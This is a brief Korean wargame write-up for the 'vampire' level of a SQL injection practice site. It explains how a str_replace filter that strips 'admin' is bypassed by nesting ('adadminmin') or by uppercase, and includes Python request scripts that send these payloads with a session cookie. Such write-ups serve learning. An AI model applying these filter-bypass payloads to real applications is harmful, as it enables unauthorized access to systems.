9. LOS - vampire

vampire문제입니다.

str_replace명령어가 admin을 공백으로 변환하는 함수이니

두가지 방법으로 풀 수 있습니다

1. admin을 2번넣어주어서 사이를 공백으로 비워서 adadminmin->ad+""+min이 되게끔하기

2. ADMIN을 대문자로 넣어주셔서 그냥 프리패스하기!

페이로드입니다.

import requests
import string
 
URL = "http://los.eagle-jump.org/vampire_0538b0259b6680c1ca4631a388177ed4.php"
payload = "?id=adadminmin"
URL += payload
 
cookies = dict(PHPSESSID = "dvs710ccqajrn9434hc3a00r11")
response = requests.get(URL, cookies = cookies)
print(response.text)
 
 
'''
import requests
import string

URL = "http://los.eagle-jump.org/vampire_0538b0259b6680c1ca4631a388177ed4.php"
payload = "?id=ADMIN"
URL += payload

cookies = dict(PHPSESSID = "dvs710ccqajrn9434hc3a00r11")
response = requests.get(URL, cookies = cookies)
print(response.text)
'''